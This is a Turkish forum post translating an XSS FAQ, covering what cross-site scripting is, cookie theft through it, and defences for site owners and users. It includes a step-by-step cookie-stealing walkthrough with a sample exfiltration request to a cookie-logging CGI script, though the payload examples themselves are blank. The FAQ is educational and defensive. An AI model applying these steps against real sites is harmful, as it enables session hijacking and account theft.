XSS FAQ
-
Giriş
Günümüzdeki web siteler; kullanıcıların daha iyi vakit geçirebilmeleri için birçok dinamik içeriğe sahipler. Kullanıcıların ihtiyaçlarına ve ayarlarına göre farklı işlemler yapan web uygulamaları yoluyla işte bu dinamik içerik oluşur. Statik web sitelerine nazaran dinamik web siteleri “Cross Site Scripting”(Güvenlik uzmanları tarafından XSS diye de adlandırılır.) adı verilen bir tehlikeyle karşı karşıyadırlar. İşte bu dökümanımız da yeni gelişen bu tehlikenin daha iyi anlaşılmasını sağlamak, bu açığın tespiti ve koruması hakkında bir rehber olması amacıyla hazırlandı.
Cross Site Scripting Nedir?
Cross Site Scripting(Diğer adıyla XSS), web uygulaması kullanıcıdan zararlı bir veri topladığı zaman meydana gelir. Bu veriler genellikle, zararlı içerikler barındıran(Yani içine zararlı karakterler gömülmüş) hyper linkler sayesinde toplanır. Kullanıcı; herhangi bir web sitesinde, anlık mesajlaşma sistemlerinde veya bir e-posta mesajında bu linke tıklayacaktır. Genellikle saldırgan bu zararlı kodun bir kısmını HEX veya diğer şifreleme teknikleriyle şifreleyecektir. Böylece linke tıkladıktan sonra yapılacak istek karşısında kurban daha az şüphelenecektir. Web uygulaması tarafından veriler toplanınca, zararlı verileri içeren bir sayfa kullanıcıya gösterilecektir. Bir çok ziyaretçi defteri ve forum programları, kullanıcılarına site içindeki mesajlarında html ve javascript gömmelerine izin vermiştir. Şimdi örneğin ben siteye “john” olarak girmiş olayım. “joe” denen birisi de foruma zararlı javascript kodları içeren bir mesaj atmış olsun ve ben bunu okuyayım. İşte burada “joe” nun benim sessionlarımı çalması mümkün olabilir. Sadece o mesajı okumayla bile… İleriki detaylarda da “cookie çalma” için buna benzer hangi tür saldırıların işe yaradığını göreceğiz.
XSS ve CSS Ne Demektir?
Bir çok kişi Cross Site Scripting’e karşılık CSS demektedirler. Ama bu, Cascading Style Sheets (CSS) ile Cross Site Scripting arasında karışıklığına yol açmıştır. Bazı güvenlik uzmanları Cross Site Scripting için XSS demeyi uygun görmektedirler. Eğer birinden “XSS açığı buldum.” şeklinde bir şey duyarsanız, kesinlikle Cross Site Scripting’ten bahsetmektedir.
Cross Site Scripting Tehlikeleri Nedir?
Saldırganlar genellikle, kurbanlarından verileri toplamak için güvenlik zafiyeti bulunan bir web uygulamasına; JavaScript, VBScript, ActiveX, HTML, veya Flash yerleştirirler. Hesap hırsızlığı, kullanıcı ayarlarının değiştirilmesi, cookie çalınması gibi her şey böylece mümkün olabilmektedir. XSS atakları için yeni kullanımlar her geçen gün keşfedilmektedir. Aşağıdaki linki verilen, Brett Moore tarafından yazılan makalede görebileceğiniz üzere, eğer bir kullanıcı, forum gibi herhangi bir mesaj boardunda sadece bir mesaj okusa bile, onun hosta karşı yapılan otomatik-saldırıya yani DoS’a dönüşebileceği görülmektedir.
http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
Cross Site Scripting Saldırılarına Örnekler Neler Olabilir?
Birçok XSS açığı olan popüler PHP programlarından birisi PHPnuke’dir. PHPnuke, popülaritesi sebebiyle birçok saldırgan tarafından XSS açığı bulmak için hedef alınmaktadır. Aşağıda, PHPnuke için keşfedilen ve açığa çıkarılan XSS açıklarına karşı birkaç link göreceksiniz.
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txtXSS ile Cookie Hırsızlığı Nasıl Olmaktadır?
Şunu aklınızda bulundurun. Aşağıdakiler sadece bir saldırganın yönteminin basit bir örneğidir. Örneğimizde, “değişken” adlı bir “a.php” dosyasına normal bir web isteği göndererek cross site scripting açığını exploit edeceğiz. Var olan XSS açıklarının en genel tipi budur.
Aşama 1: Hedefleme
Bir web sitesi üzerindeki web uygulamasında XSS açığı bulduktan sonra, sitenin cookie kullanıp kullanmadığını kontrol edin. Eğer web sitenin herhangi bir bölümü cookieleri kullanıyorsa, kullanıcılardan bu cookieleri çalabilmek mümkün hale gelir.
Aşama 2: Test Etme
XSS açıkları, exploitlenmelerine bağlı olarak farklılık gösterir. Veri çıkışını garanti hale getirmek için bazı testlere ihtiyacımız olacak. Script içine kodlar ekleyerek, onun çıkışı değiştirilecektir ve sayfa bozuk gibi görülecektir.(Son kısım çok can alıcıdır ve saldırgan sayfayı normal hale getirmek için kodlar üzerinde biraz rötuş yapmak zorunda olacaktır.) Ardından sitenin güvenlik zafiyeti bulunan bölgesini hedef alacak şekilde, bir URL içine bazı Javascript kodlarını(veya başka script dilleri) eklemeye ihtiyacınız olacak. Aşağıda XSS açıklarının tespiti için kullanılan birkaç link var. Bu linkler, üzerine tıklanıldığı takdirde kullanıcıların cookielerini www.cgisecurity.com/cgi-bin/cookie.cgi adresine gönderecek ve bunu gösterecektir. Eğer cookieleri gösteren bir sayfa görürseniz ondan sonrasında kullanıcının hesabına ait sessionları çalmanız mümkün olabilecektir.
Javascript örnekleriyle Cookie Hırsızlığı
ASCII Kullanımı:

Hex Kullanımı:


İşte bunlar, ileride kullanacağımız kötü niyetli javascript örnekleri. Bu örnekler, kullanıcıların cookielerini toplamakta ve ardından cookieler ile birlikte cgisecurity.com’a istek göndermektedir. Cgisecurity.com daki scriptimiz her isteği ve her cookie’yi loglamaktadır. Basit bir ifade ile aşağıdaki gibi olmaktadır:
Cookiemiz = user=zeno;
Scriptimiz = www.cgisecurity.com/cgi-bin/cookie.cgiSitemize aşağıdakine benzer şekilde bir istek göndermektedir.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Not: %20, Hex şifrelemesinde bir boşluğu ifade etmektedir.)
Bu, kullanıcıların cookielerini çalmada son derece ilkel ama bir o kadar da etkili bir yöntemdir.
Aşama 3: XSS Çalıştırma
Oluşturduğunuz URL’yi dağıtın veya e-posta kullanın veya bu URL’nin çalıştırılması için diğer yardımcı programları kullanın. Yalnız şuna emin olun: Kullanıcılara gönderdiğiniz URL ler en azından HEX ile şifrelenmiş olsun.
Örneğimizde; kullanıcıları sadece cookie.cgi’ye yönlendireceğiz. Daha fazla zamanı olan bir saldırgan, birkaç yönlendirme ve XSS karışımı gibi bir şey yaparak kullanıcıların cookielerini çalabilirdi ve cookielerinin çalındığına dair herhangi bir ibarenin olmadığı bir siteye geri döndürebilirlerdi. Bazı e-posta programları; açılış mesajıyla beraber veya eklenmiş ayrı bir dosya olarak javascript o mesajın içinde bulunuyorsa o javascripti çalıştırabilir. Hotmail gibi bir çok site eklenmiş dosyaların içerisinde Javascript’e izin verir ama cookie hırsızlığını önlemek için de özel filtreleme yöntemlerine sahiptirler.
Aşama 4: Bu Veri İle Yapılacaklar
Öncelikle XSS açığını değerlendirebilmek için kurban bir kullanıcınız olacak. Veri ondan toplanacak ve CGI scriptinize gönderilecek.Şimdi cookielere sahibiz. Websleuth gibi bir takım araçları kullanarak kullanıcının hesabını çalabilip çalamayacağımıza bakacağız. Bu makale yalnızca sıkça sorulan sorulara cevap verilmiş bir yazıdır. Cookielerin çalınmasına ve onları nasıl modifiye edeceğimize dair detaylara yer verilmemiştir.
Web Site Sahibi Olarak Kendimi Korumak İçin Ne Yapmalıyım?
Cevap basit. Kullanıcı girdilerine hiçbir zaman izin vermeyin ve meta karakterleri her zaman filtreleyin. Bu, XSS saldırılarının büyük çoğunluğunu ortadan kaldırmanıza yetecektir. Script çıktısına <and> karakterinin gelmesiyle onu < ve > karakterlerine çevirmek de önerilen yöntemlerden biridir. Unutmayın ki XSS açıkları, işinize zarar verebilir ve size pahalıya patlayabilir. Saldırganlar genellikle bu zafiyeti açığa vururlar ve sizin kurumunuzun güvenlik ve gizliliğine karşı genel güvenilirliği ve kullanıcıların itimadını yıpratırlar. <and> karakterini filtrelemek tüm XSS saldırılarını çözmenize yetmeyecektir. Aynı zamanda (and) karakterini ( ve ), ", ', karakterlerine çevirmek ve aynı zamanda # karakterini # ve & karakterini & karakterine çevirmek de önerilen yöntemler arasındadır.
Kullanıcı Olarak Kendimi Korumak İçin Ne Yapmalıyım?
Kullanıcı olarak kendinizi korumanın en kolay yolu, dilediğiniz sayfayı görmek istediğinizde oraya, ana sayfanın menülerinden ulaşarak gitmenizdir. Bazen XSS açığı; e-posta mesajını, e-posta eklerini açtığınız zaman; ziyaretçi defterini veya bulletin board mesajlarını okuduğunuz zaman otomatik olarak çalıştırılır. Eğer bilmediğiniz bir kişi tarafından genel boardlara mesaj atıldıysa veya tanımadığınız bir kişiden e-posta aldıysanız bunları okuyacağınız zaman dikkatli olun. Alınabilecek en iyi önlemlerden bir tanesi, tarayıcınızın ayarlarından Javascript’i kapatmak olacaktır. Internet Explorer kullanıyorsanız, güvenlik ayarlarınızı yüksek seviyeye çıkarın. Bu, cookie çalınmasına karşı sizi koruyacaktır.
XSS Açığının Popülaritesi Nasıldır?
Cross Site Scripting açığı, saldırganların bir çok web sitesinde basit açıklar bulmasıyla popüler hale gelmektedir. FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple Computer, Microsoft, Zdnet, Wired ve Newbytes; geçmişte XSS açıklarının çeşitli şekillerine sahip olmuş olan sitelerdi.
Her ay aşağı yukarı 10-25 arasında XSS açığı ticari ürünlerde tespit edilmekte ve çeşitli öneriler de bununla beraber yayınlanmaktadır.
Şifreleme Yöntemleri Beni Koruyabilir mi?
SSL(https) kullanan web siteler, hiçbir suretle şifreleme kullanmayan web sitelerine nazaran daha güvenli değildir. XSS saldırılarının şifrelenmiş bağlantılar içerisinde kullanılmasından sonra bu tür bağlantılarda değişiklik olmasına rağmen, diğer web uygulamalarının çalışma yöntemi eskisi gibi aynıdır. İnsanlar tarayıcılarında kilit işaretini görünce güvende olduğunu düşünürler. Aslında olay sadece bundan ibaret değildir.
XSS Açıkları Komut Çalıştırmaya İzin Verirler mi?
XSS açıkları, kısıtlı çalıştırmaya izin veren Javascript eklemeye izin verirler. Eğer saldırgan, tarayıcının açığını exploit edebilirse, komut çalıştırabilmeyi de mümkün kılacaktır. Eğer komut çalıştırma mümkün ise, bu sadece müşteri yani alıcı taraf bölgesinde mümkün olacaktır. Daha açık söylemek gerekirse XSS açıkları, tarayıcıda var olabilecek diğer açıkları exploit etmeye yardımcı olabilir.
Pdf şeklinde okumak isteyenler:
http://www.scribd.com/doc/17750033/XSS-FAQ
Kaynak: http://www.cgisecurity.com/xss-faq.html
Çeviri: diamoniqueNot: XSS FAQ demek, XSS Frequently Asked Questions yani XSS Hakkında Sıkça Sorulan Sorular.
Not2: Forumda kesme işaretinden önce slash geliyor. Pdf dosyasından okumanız faydanızadır.
-
bende tam bunun dökümanını yazıyordum yeminle benim siteye gelmişlerde aq lar bende bilgi topladım neyse atalım çöpe :)
